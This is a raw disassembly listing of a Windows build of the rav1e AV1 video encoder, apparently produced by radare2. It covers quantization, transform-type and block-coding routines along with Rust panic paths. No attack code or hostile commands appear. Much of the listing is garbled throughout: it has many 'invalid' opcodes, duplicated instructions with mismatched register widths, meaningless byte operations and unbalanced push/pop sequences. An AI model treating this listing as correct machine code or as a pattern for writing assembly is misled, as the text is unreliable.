mov rcx, r13
call fcn.1400d2876
test rax, rax
je 0x1400d0ba3
movzx eax, word [rax]
cmp rax, qword [rsp + 0x20]
jae 0x1400d0bb8
add byte [rax], al
cmp rax, qword [rsp + 0xc0]
jae 0x1400d0bcc
movsx r8d, word [rbx + rax*2]
mov ecx, dword [rsp + 0x2c]
shl r8d, cl
mov r9d, r8d
neg r9d
cmovs r9d, r8d
mov rdx, r9
imul rdx, rsi
add rdx, rdi
shr rdx, 0x20
mov ecx, r12d
shr rdx, cl
mov ecx, 1
sub ecx, ebp
xor r10d, r10d
cmp ecx, edx
setb r10b
mov rcx, qword [rsp + 0x30]
add r9d, dword [rcx + r10*4 + 0x1c]
mov ecx, 1
lea r10d, [rdx + 1]
imul r10d, r14d
cmp r9d, r10d
sbb edx, 0xffffffff
mov r9d, edx
neg r9d
test r8d, r8d
cmovns r9d, edx
cmp edx, 2
jae 0x1400d0b8d
mov ecx, ebp
test edx, edx
cmovne edx, ecx
test ebp, ebp
cmove edx, ecx
mov word [r15 + rax*2], r9w
mov ebp, edx
jmp 0x1400d0af5
mov eax, dword [rsp + 0x28]
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcquantizemod.rs
mov rcx, rax
mov rdx, qword [rsp + 0x20]
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcquantizemod.rs
mov rcx, rax
mov rdx, qword [rsp + 0xc0]
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcquantizemod.rs
mov edx, 0x10
mov rcx, r12
call fcn.1401c6eb0
int3
or byte [rsi + 0x43], ah
mov dword [rax + rcx + 0x20], eax
mov qword [rdi + 0x28], rcx
sub rdx, rcx
cmp rdx, 0x10
ja 0x1400d12d8
add rdi, 0x18
mov rcx, rdi
call fcn.1400d2081
add byte [rax], al
test ebx, ebx
je 0x1400d1327
movzx edx, word [r14 + r15*2 - 2]
jmp 0x1400d132b
add al, 0xf
sub dword [rbp + 0x48000000], 0xffffff8b
xchg dword [rax + 0x40000012], ecx
mov byte [rdx], dl
add byte [rax], al
add byte [rax + 0xf], al
mov dh, 0xcd
add byte [rax + 0xf], al
mov dh, 0xcd
lea r8, [rcx*4 + 0x4b0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
mov edx, ebx
mov r9, rdi
fimul dword [rcx - 0x77]
stc
call case.0x1400474a4.368
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
mov dx, 0x8000
mov rcx, qword [rsp + 0x30]
movzx r8d, word [r14 + r15*2]
mov r9d, 0xc
sub r9d, r15d
call fcn.1400d17a1
mov rcx, r14
mov edx, ebx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400d265b
adc al, byte [rax]
invalid
adc al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
je 0x1400d13a5
invalid
add byte [rdx + 0xd], bh
call fcn.1401c6eb0
add byte [rbp + rcx*4 + 5], cl
js 0x1400d13d1
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_transform_unit.rsassertion_failed:_tx_set_index___0
jmp 0x1400d13a2
invalid
add bl, ch
adc byte [rbp + rcx*4 + 5], cl
xchg dword [rbx + 0x17], eax
invalid
invalid
add bl, ch
invalid
invalid
mov ecx, 4
add byte [rax], al
mov edx, 4
call fcn.1401c6eb0
call [rdx + 0xf]
invalid
call [rdx + 0xf]
pop rdx
str word [rax - 0x73]
add byte [rax - 0x73], cl
add byte [rax - 0x73], cl
lea rcx, [0x14024533d]
or eax, 0x173f85
add byte [rbp + rcx*4 + 5], cl
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_transform_unit.rsassertion_failed:_tx_set_index___0
mov edx, 0x22
movabs eax, dword [0x22ba00173f]
call fcn.1401c6f30
pop rbx
str word [rax - 0x73]
or eax, 0x173fa8
lea rcx, str.assertion_failed:_av1_tx_used_tx_set_as_usize__tx_type_as_usize____0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_transform_unit.rsassertion_failed:_tx_set_index___0
lea eax, [0x1402453c0]
mov edx, 0x45
call fcn.1401c6f30
str esp
pop r11
str esp
mov ebx, ecx
mov rsi, qword [rsp + 0xa0]
mov r12, qword [rsp + 0x98]
mov esp, dword [rsp + 0x98]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x98
add byte [rax], al
add byte [rcx + 0x8bee8d1], cl
add byte [rax], al
mov esp, dword [rsp + 0x98]
mov ecx, edx
call fcn.1400d1cce
add byte [rcx - 0x77], al
invalid
mov r14d, eax
mov edi, edx
mov ecx, r15d
call fcn.1400d1d5b
xor r8d, r8d
test bpl, bpl
setne r8b
mov rcx, qword [rbx + 0x1288]
mov byte [rdx], dl
add byte [rax], al
mov byte [rdx], dl
add byte [rax], al
lea ebp, [r14 - 1]
lea ebp, [rsi - 1]
dec dword [rax - 0x7d]
sar ah, 0x48
cmp eax, 5
add rax, 0xfffffffffffffffc
cmp rax, 5
ja case.default.0x1400d144e
lea rdx, [0x14028c1b8]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
imul rax, r12, 0x14
imul r8, r8, 0xa
add r8, rcx
add eax, ecx
invalid
add eax, ecx
add r8, rax
sub r8, rcx
add r8, 0x19e4
shl ah, 0x19
add byte [rax], al
shl ah, 0x19
add byte [rax], al
mov qword [rsp + 0x20], rcx
and al, 0x20
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400d1d7c
jmp 0x1400d1668
imul rax, r12, 0x24
add rax, rcx
invalid
and al, 0x48
add eax, ecx
imul rdx, r8, 0x12
lea r15, [rdx + rax]
lea edi, [rdx + rax]
lea edi, [rdx + rax]
add r15, 0x2104
mov eax, r15d
sub eax, ecx
mov rcx, qword [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
imul r9, rcx, 0x22
inc rcx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
adc byte [rdi + 0x10], cl
adc byte [rdi + 0x10], cl
movups xmmword [r8 + r9 + 0x10], xmm1
movups xmmword [r8 + r9], xmm0
mov word [r8 + r9 + 0x20], ax
mov qword [rbx + 0x28], rcx
sub rdx, rcx
cmp rdx, 0x10
adc byte [rdi + 9], dh
adc byte [rdi + 9], dh
lea rcx, [rbx + 0x18]
call fcn.1400d2081
sbb r8b, bpl
movsb byte [rdi], byte [rsi]
or eax, dword [rax]
add byte [rcx + 0xfed85e8], cl
test byte [rdi], dh
add dword [rax], eax
add byte [rcx + 0xf], al
mov bh, 0x54
invalid
mov eax, ebp
test ebp, ebp
je 0x1400d161e
movzx edx, word [r15 + rax*2 - 2]
jmp 0x1400d1622
imul rax, r12, 0x1c
imul r8, r8, 0xe
add r8, rcx
add r8, rax
add eax, eax
add eax, eax
sub r8, rcx
add r8, 0x1cb4
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400d1e17
jmp 0x1400d1668
mov rax, r12
shl rax, 5
loopne 0x1400d152d
loopne 0x1400d152d
shl r8d, 4
add r8, rcx
add eax, ecx
add r8, rax
sub r8, rcx
add r8, 0x2054
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400d1eb0
jmp 0x1400d1668
imul rax, r12, 0x18
add rax, rcx
imul rdx, r8, 0xc
lea r15, [rdx + rax]
add r15, 0x1c14
mov eax, r15d
sub eax, ecx
mov rcx, qword [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
imul r9, rcx, 0x22
inc rcx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [r8 + r9 + 0x10], xmm1
movups xmmword [r8 + r9], xmm0
mov word [r8 + r9 + 0x20], ax
mov qword [rbx + 0x28], rcx
sub rdx, rcx
cmp rdx, 0x10
ja 0x1400d15b1
lea rcx, [rbx + 0x18]
call fcn.1400d2081
mov eax, ebp
test ebp, ebp
je 0x1400d1644
movzx edx, word [r15 + rax*2 - 2]
jmp 0x1400d1648
imul rax, r12, 0x28
imul r8, r8, 0x14
add r8, rcx
add r8, rax
sub r8, rcx
add r8, 0x214c
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400d1f4b
jmp 0x1400d1668
imul rax, r12, 0x2c
imul r8, r8, 0x16
add r8, rcx
add r8, rax
sub r8, rcx
add r8, 0x228c
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400d1fe6
jmp 0x1400d1668
mov dx, 0x8000
movzx r8d, word [r15 + rax*2]
mov r9d, 9
sub r9d, ebp
mov rcx, rsi
call fcn.1400d17a1
mov rcx, r15
mov edx, ebp
call fcn.1400d2287
jmp 0x1400d1668
mov dx, 0x8000
movzx r8d, word [r15 + rax*2]
mov r9d, 6
sub r9d, ebp
mov rcx, rsi
call fcn.1400d17a1
mov rcx, r15
mov edx, ebp
call fcn.1400d246d
mov eax, r14d
lea rcx, [0x1402421ea]
movzx r15d, word [rcx + rax*2]
test r15w, r15w
je 0x1400d16ec
add r14d, 0xfffffffd
cmp r14d, 8
ja 0x1400d16fb
lea eax, [r15 - 1]
xor edx, edx
bt edi, eax
setb dl
mov rax, qword [rbx + 0x1288]
imul rcx, qword [rsp + 0x90], 0x48
add rcx, rax
imul r8, r12, 0x24
add r8, rcx
lea r8, [r8 + r14*4]
sub r8, rax
add r8, 0x88
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov r9, rbx
call case.0x1400474a4.368
add r15d, 0xfffffffe
cmp r15w, 0xffff
je 0x1400d16ec
xor edx, edx
bt edi, r15d
setb dl
mov rcx, rsi
call fcn.1400d1710
dec r15d
jmp 0x1400d16cf
add rsp, 0x30
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
mov edx, 9
mov rcx, r14
call fcn.1401c6eb0
int3
push rsi
push rdi
push rbx
sub rsp, 0x40
mov esi, edx
mov rdx, rcx
movzx eax, word [rcx + 4]
mov ecx, eax
shr ecx, 5
neg ecx
add ecx, eax
inc ecx
mov edi, eax
shr edi, 4
add edi, 4
mov word [rdx + 4], cx
lea r9, [0x14023e820]
mov ecx, 2
mov r8d, 3
call fcn.140081837
lea rcx, [rax + rdx*2]
lea rbx, [rsp + 0x20]
mov qword [rbx], rax
mov qword [rbx + 8], rcx
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
and edi, 0xf
mov rcx, rbx
call fcn.1400d1bfc
test rdx, rdx
je 0x1400d1bf4
movzx r8d, word [rdx]
cmp eax, esi
jae 0x1400d1be1
mov eax, 0xffff8000
sub eax, r8d
movzx eax, ax
mov ecx, edi
shr eax, cl
add eax, r8d
jmp 0x1400d1bef
movzx eax, r8w
mov ecx, edi
shr eax, cl
sub r8d, eax
mov eax, r8d
mov word [rdx], ax
jmp 0x1400d1bb8
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
push rsi
push rdi
push rbx
sub rsp, 0x40
mov esi, edx
mov rdx, rcx
movzx eax, word [rcx + 0x16]
mov ecx, eax
shr ecx, 5
neg ecx
add ecx, eax
inc ecx
mov edi, eax
shr edi, 4
add edi, 5
mov word [rdx + 0x16], cx
lea r9, [0x14023e820]
mov ecx, 0xb
mov r8d, 0xc
call fcn.140081837
lea rcx, [rax + rdx*2]
lea rbx, [rsp + 0x20]
mov qword [rbx], rax
mov qword [rbx + 8], rcx
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
and edi, 0xf
mov rcx, rbx
call fcn.1400d1bfc
test rdx, rdx
je 0x1400d26f5
movzx r8d, word [rdx]
cmp eax, esi
jae 0x1400d26e2
mov eax, 0xffff8000
sub eax, r8d
movzx eax, ax
mov ecx, edi
shr eax, cl
add eax, r8d
jmp 0x1400d26f0
movzx eax, r8w
mov ecx, edi
shr eax, cl
sub r8d, eax
mov eax, r8d
mov word [rdx], ax
jmp 0x1400d26b9
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov eax, r14d
lea rsp, [rbp + 0x6378]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp rdi, rbx
je 0x1400ddb1f
movzx edx, word [rsp + rbx + 0x200]
test edx, edx
je 0x1400ddb16
mov r15d, edx
neg r15w
cmovs r15w, dx
shr edx, 0xf
test rbx, rbx
je 0x1400ddab0
mov rcx, qword [rsp + 0x90]
call fcn.1400de696
jmp 0x1400ddaea
cmp rcx, 3
jae 0x1400ddecd
mov r9, qword [rsp + 0xf8]
mov rax, qword [r9 + 0x1288]
lea r8, [rax + r14]
lea r8, [r8 + rcx*4]
sub r8, rax
add r8, 0x64
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x90]
call case.0x1400617de.262
cmp r15w, 0xf
mov rcx, qword [rsp + 0xc0]
jl 0x1400ddb16
add r15d, 0xfffffff1
movzx edx, r15w
mov rcx, qword [rsp + 0x90]
call fcn.1400de6a2
mov rcx, qword [rsp + 0xc0]
add rbx, 2
jmp 0x1400dda74
test esi, esi
je 0x1400ddf00
cmp r13d, 0x3f
push 0x3f
pop rax
cmovb eax, r13d
mov ecx, eax
or cl, 0x80
mov edx, eax
or dl, 0x40
cmp word [rsp + 0x200], 0
movzx ecx, cl
cmove ecx, eax
movzx eax, dl
cmovns eax, ecx
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x28], rcx
mov r13b, byte [rbp + 0x6420]
mov byte [rsp + 0x20], r13b
mov byte [rsp + 0x38], al
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rbp + 0x63e0]
mov r8, qword [rbp + 0x6408]
jmp 0x1400ddbd3
mov r9, r12
call fcn.14007655d
mov rdi, qword [rsp + 0xf0]
mov r15, qword [rsp + 0x158]
mov sil, byte [rbp + 0x6470]
mov bl, byte [rbp + 0x6428]
cmp word [rsp + 0x86], 0
add byte [rax], al
add byte [rcx + 0xf], al
xchg ebp, eax
invalid
mov cl, byte [rbp + 0x6450]
mov rax, qword [rsp + 0x160]
mov rax, qword [rax + 0x1f0]
mov r8, qword [rbp + 0x63e0]
invalid
add byte [rax], al
mov r9, qword [rsp + 0xa0]
mov dl, byte [r9 + r8 + 0x2fc]
cld
add al, byte [rax]
add byte [rdi - 0x76], al
test byte [rcx], al
inc dword [rdx]
add byte [rax], al
mov byte [rsp + 0x40], r8b
mov byte [rsp + 0x38], dl
mov qword [rsp + 0x30], rax
mov byte [rsp + 0x28], r13b
mov rax, qword [rsp + 0x108]
mov eax, dword [rsp + 0x108]
add byte [rax], al
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
mov r8, qword [rsp + 0x118]
mov r9, qword [rsp + 0x130]
call fcn.1400d0bf8
cmp word [rsp + 0x86], 0
je 0x1400ddca3
mov rax, qword [rsp + 0xa0]
cmp byte [rax + 0x326], 0
je 0x1400ddde5
cmp byte [rbp + 0x6478], 0
jne 0x1400ddde5
add dword [rax], eax
invalid
xor edx, edx
test sil, sil
test dh, dh
je 0x1400dcf90
cmp qword [rsp + 0x178], 0
je 0x1400dcf90
test r15, r15
je 0x1400dcf90
mov r15d, esi
mov rbx, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rdi], fs
cmp byte [rcx], al
add byte [rax], al
mov rax, qword [rsp + 0x108]
cmp rcx, rax
cmovb rax, rcx
xor ecx, ecx
xor esi, esi
mov r9, qword [rsp + 0x130]
and al, 0x30
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5b], cl
mov r12, qword [rbp + 0x63e0]
cmp rax, rcx
je 0x1400ddd1a
invalid
movsx edx, word [rdi + rcx*2]
movsx r8d, word [r9 + rcx*2]
inc rcx
sub edx, r8d
imul edx, edx
movsxd rdx, edx
add rsi, rdx
jmp 0x1400ddcfb
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, qword [rsp + 0x108]
mov word [rax + rcx], fs
add dword [rax], eax
add byte [rax - 0x77], cl
cli
mov r8, qword [rsp + 0x138]
add dword [rax], eax
add al, ch
out dx, al
xor bh, dl
push qword [rcx]
dec dword [rax - 0x7b]
invalid
je 0x1400ddd56
xor ecx, ecx
movsx r8d, word [rax + rcx*2]
imul r8d, r8d
imul eax, eax
add rdi, r8
inc rcx
cmp rdx, rcx
jne case.0x140042804.421
in al, dx
mov ecx, r13d
call fcn.140073449
add eax, eax
mov cl, 5
sub cl, al
push 1
pop rdx
shl rdx, cl
add rsi, rdx
add rsi, rdi
mov cl, 6
invalid
sub cl, al
shr rsi, cl
cmp r15b, 2
jne 0x1400ddd99
mov cl, byte [rbx + 0x2fb]
mov edx, r13d
mov r8, rsi
call fcn.1400737b8
mov rcx, qword [rsp + 0x90]
add byte [rax], al
add dword [rcx + 8], eax
mov rdi, rbx
mov rcx, rbx
mov rdx, qword [rsp + 0xe8]
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rdx + rcx*4 - 0x73], al
xor byte [rax + rax], ah
call fcn.1400d0cb8
mov eax, eax
imul rsi, rax
mov eax, 0x2000
add rsi, rax
invalid
shr rsi, 0xe
mov edx, dword [rbx + r12*4 + 0x2e0]
mov edx, dword [rbx + riz*4 + 0x2e0]
imul rdx, rsi
add rdx, rax
shr rdx, 0xe
jmp 0x1400dcf90
invalid
mov r8, qword [rsp + 0x100]
mov rax, qword [r8]
mov eax, dword [rax]
mov cl, byte [rax + 0x20]
mov rdx, qword [rbp + 0x6408]
shr rdx, cl
mov cl, byte [rax + 0x28]
shl rdx, 2
shr r12, cl
in al, dx
test rdx, rdx
js 0x1400ddf46
cmp rdx, qword [r8 + 0x20]
ja 0x1400ddf46
shl r12, 2
test r12, r12
mov r9, qword [rsp + 0x128]
js 0x1400ddf56
invalid
cmp r12, qword [r8 + 0x28]
ja 0x1400ddf56
invalid
add dword [rax], eax
invalid
mov rcx, qword [rax]
imul rcx, r12
add rcx, qword [r8 + 8]
add rcx, rdx
add ecx, edx
add rdx, qword [r8 + 0x10]
add r12, qword [r8 + 0x18]
lea r8, [rsp + 0x200]
mov qword [r8 + 8], rcx
mov qword [r8], rax
add byte [rcx - 0x77], cl
push rax
adc byte [rbp - 0x77], cl
invalid
sbb byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rcx - 0x77], cl
and byte [rbp - 0x77], cl
sub byte [rax - 0x75], cl
test byte [rax + riz*2], ah
add dword [rax], eax
add byte [rax - 0x75], cl
xor al, 1
add byte [rax], al
mov qword [rsp + 0x28], rax
mov byte [rsp + 0x20], bl
mov rcx, qword [rsp + 0x130]
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 8
add dword [rax], eax
add byte [rbp - 0x77], al
mov ecx, ebp
call fcn.1401c866a
jmp 0x1400ddca3
std
invalid
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
push 3
pop rdx
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
push 0x10
pop rdx
mov rcx, rdi
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
push 0xd
pop rdx
mov rcx, rax
call fcn.1401c6eb0
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140009390
push 0x2b
pop rdx
lea r8, [rsp + 0x1bc0]
rcr byte [rbx], 0
add al, ch
invalid
xchg edx, eax
invalid
invalid
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
call fcn.1401c6a09
invalid
invalid
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
jmp 0x1400ddf94
lea rcx, [0x140241d39]
lea r8, str.e__
jmp 0x1400ddfa6
push 0x43
jmp 0x1400ddfa8
push 0x44
pop rdx
call fcn.1401c6f30
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_block_unit.rs
mov rcx, r15
call fcn.1401c6f20
int3
leave
and cl, byte [rax - 1]
rol dword [rcx + 0xf], 0x10
invalid
sub edx, ecx
cmp rdx, 0x10
ja 0x1400de25e
add rdi, 0x18
mov rcx, rdi
sbb byte [rax - 0x77], cl
stc
call fcn.1400d2081
test ebx, ebx
je 0x1400de2ad
movzx edx, word [r14 + r15*2 - 2]
jmp 0x1400de2b1
add byte [rax], al
add byte [rax + 0xf], al
mov dh, 0xcd
movzx ecx, bpl
lea r8, [rcx*4 + 0x4b0]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
mov edx, ebx
mov r9, rdi
call case.0x1400617de.262
nop
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
mov dx, 0x8000
mov rcx, qword [rsp + 0x30]
movzx r8d, word [r14 + r15*2]
mov r9d, 0xc
sub r9d, r15d
add byte [rbp + 0x29], al
stc
call fcn.1400de727
mov rcx, r14
add byte [rcx + rcx*4 - 0xf], cl
mov edx, ebx
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp 0x1400d265b
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_transform_unit.rsassertion_failed:_tx_set_index___0
jmp 0x1400de328
lea eax, [0x1402456d8]
add eax, 0x1673dc
jmp 0x1400de305
invalid
add byte [rdx + 0xd], bh
mov edx, 0xd
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_transform_unit.rsassertion_failed:_tx_set_index___0
jmp 0x1400de328
add dword [rsi + rdx], esi
je 0x1400de334
add bl, ch
invalid
jmp 0x1400de328
je 0x1400de33d
add byte [rcx + 4], bh
mov ecx, 4
add al, 0
add byte [rax], al
mov edx, 4
call fcn.1401c6eb0
jns 0x1400de2c0
invalid
invalid
jns 0x1400de2c0
mov ecx, dword [rsi]
add byte [rax - 0x73], cl
or eax, 0x166fff
invalid
lea rcx, [0x14024533d]
add byte [rbp + rcx*4 + 5], cl
sbb esi, dword [rax + 0x16]
add byte [rdx + 0x22], bh
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_transform_unit.rsassertion_failed:_tx_set_index___0
mov edx, 0x22
call fcn.1401c6f30
loope 0x1400de2d8
invalid
lea rcx, str.assertion_failed:_av1_tx_used_tx_set_as_usize__tx_type_as_usize____0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_transform_unit.rsassertion_failed:_tx_set_index___0
mov edx, 0x45
call fcn.1401c6f30
invalid
add ah, cl
invalid
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x30
mov ebp, r9d
mov r15d, r8d
mov rbx, rcx
mov ebx, ecx
mov rsi, qword [rsp + 0xa0]
mov r12, qword [rsp + 0x98]
mov ecx, edx
call fcn.1400d1cce
mov r14d, eax
invalid
mov edi, edx
mov ecx, r15d
mov ecx, edi
invalid
mov ecx, edi
stc
call fcn.1400d1d5b
xor r8d, r8d
mov eax, 0x45ffff39
xor eax, eax
test bpl, bpl
setne r8b
mov rcx, qword [rbx + 0x1288]
lea ebp, [r14 - 1]
add rax, 0xfffffffffffffffc
cmp rax, 5
ja case.default.0x1400de3d4
lea rdx, [0x14028c1d0]
lea edx, [0x14028c1d0]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
imul rax, r12, 0x14
imul r8, r8, 0xa
add r8, rcx
add r8, rax
sub r8, rcx
add r8, 0x19e4
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
invalid
mov dword [rsp + 0x20], ecx
and al, 0x20
mov rcx, rsi
mov edx, ebp
mov r9, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.1400de8a0
jmp 0x1400de5ee
imul rax, r12, 0x24
add rax, rcx
imul rdx, r8, 0x12
lea r15, [rdx + rax]
add r15, 0x2104
mov eax, r15d
sub eax, ecx
mov rcx, qword [rbx + 0x28]
mov ecx, dword [rbx + 0x28]
mov ecx, dword [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
imul r9, rcx, 0x22
inc rcx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [r8 + r9 + 0x10], xmm1
or byte [rax], r10b
or byte [rax], r10b
movups xmmword [r8 + r9], xmm0
adc dword [rax + rcx], eax
mov word [r8 + r9 + 0x20], ax
mov qword [rbx + 0x28], rcx
sub rdx, rcx
cmp rdx, 0x10
ja 0x1400de463
lea rcx, [rbx + 0x18]
call fcn.1400d2081
mov eax, ebp
test ebp, ebp
je 0x1400de5a4
invalid
add byte [rcx + 0xf], al
mov bh, 0x54
movzx edx, word [r15 + rax*2 - 2]
jmp 0x1400de5a8
invalid
imul rax, r12, 0x1c
imul r8, r8, 0xe
add r8, rcx
add r8, rax
sub r8, rcx
add r8, 0x1cb4
mov qword [rsp + 0x20], rcx
and byte [rax - 0x77], cl
int1
and byte [rax - 0x77], cl
int1
mov edx, ebp
mov r9, rbx
call fcn.1400de93b
jmp 0x1400de5ee
mov rax, r12
shl rax, 5
shl r8d, 4
add r8, rcx
add r8, rax
sub r8, rcx
add r8, 0x2054
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400de9d4
jmp 0x1400de5ee
imul rax, r12, 0x18
add rax, rcx
imul rdx, r8, 0xc
lea r15, [rdx + rax]
add r15, 0x1c14
mov eax, r15d
sub eax, ecx
mov rcx, qword [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
imul r9, rcx, 0x22
inc rcx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [r8 + r9 + 0x10], xmm1
movups xmmword [r8 + r9], xmm0
mov word [r8 + r9 + 0x20], ax
mov qword [rbx + 0x28], rcx
sub rdx, rcx
cmp rdx, 0x10
ja 0x1400de537
lea rcx, [rbx + 0x18]
call fcn.1400d2081
mov eax, ebp
test ebp, ebp
je 0x1400de5ca
movzx edx, word [r15 + rax*2 - 2]
jmp 0x1400de5ce
imul rax, r12, 0x28
imul r8, r8, 0x14
add r8, rcx
add r8, rax
sub r8, rcx
add r8, 0x214c
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400dea6f
jmp 0x1400de5ee
imul rax, r12, 0x2c
imul r8, r8, 0x16
add r8, rcx
add r8, rax
sub r8, rcx
add r8, 0x228c
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, ebp
mov r9, rbx
call fcn.1400deb0a
jmp 0x1400de5ee
mov dx, 0x8000
movzx r8d, word [r15 + rax*2]
mov r9d, 9
sub r9d, ebp
mov rcx, rsi
call fcn.1400de727
mov rcx, r15
mov edx, ebp
call fcn.1400d2287
jmp 0x1400de5ee
mov dx, 0x8000
movzx r8d, word [r15 + rax*2]
mov r9d, 6
sub r9d, ebp
mov rcx, rsi
call fcn.1400de727
mov rcx, r15
mov edx, ebp
call fcn.1400d246d
mov eax, r14d
lea rcx, [0x1402421ea]
movzx r15d, word [rcx + rax*2]
test r15w, r15w
je 0x1400de672
add r14d, 0xfffffffd
cmp r14d, 8
ja 0x1400de681
lea eax, [r15 - 1]
xor edx, edx
bt edi, eax
setb dl
mov rax, qword [rbx + 0x1288]
imul rcx, qword [rsp + 0x90], 0x48
add rcx, rax
imul r8, r12, 0x24
add r8, rcx
lea r8, [r8 + r14*4]
sub r8, rax
add r8, 0x88
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov r9, rbx
call case.0x1400617de.262
add r15d, 0xfffffffe
cmp r15w, 0xffff
je 0x1400de672
xor edx, edx
bt edi, r15d
setb dl
mov rcx, rsi
call fcn.1400de696
dec r15d
jmp 0x1400de655
add rsp, 0x30
pop rbx
pop rbp
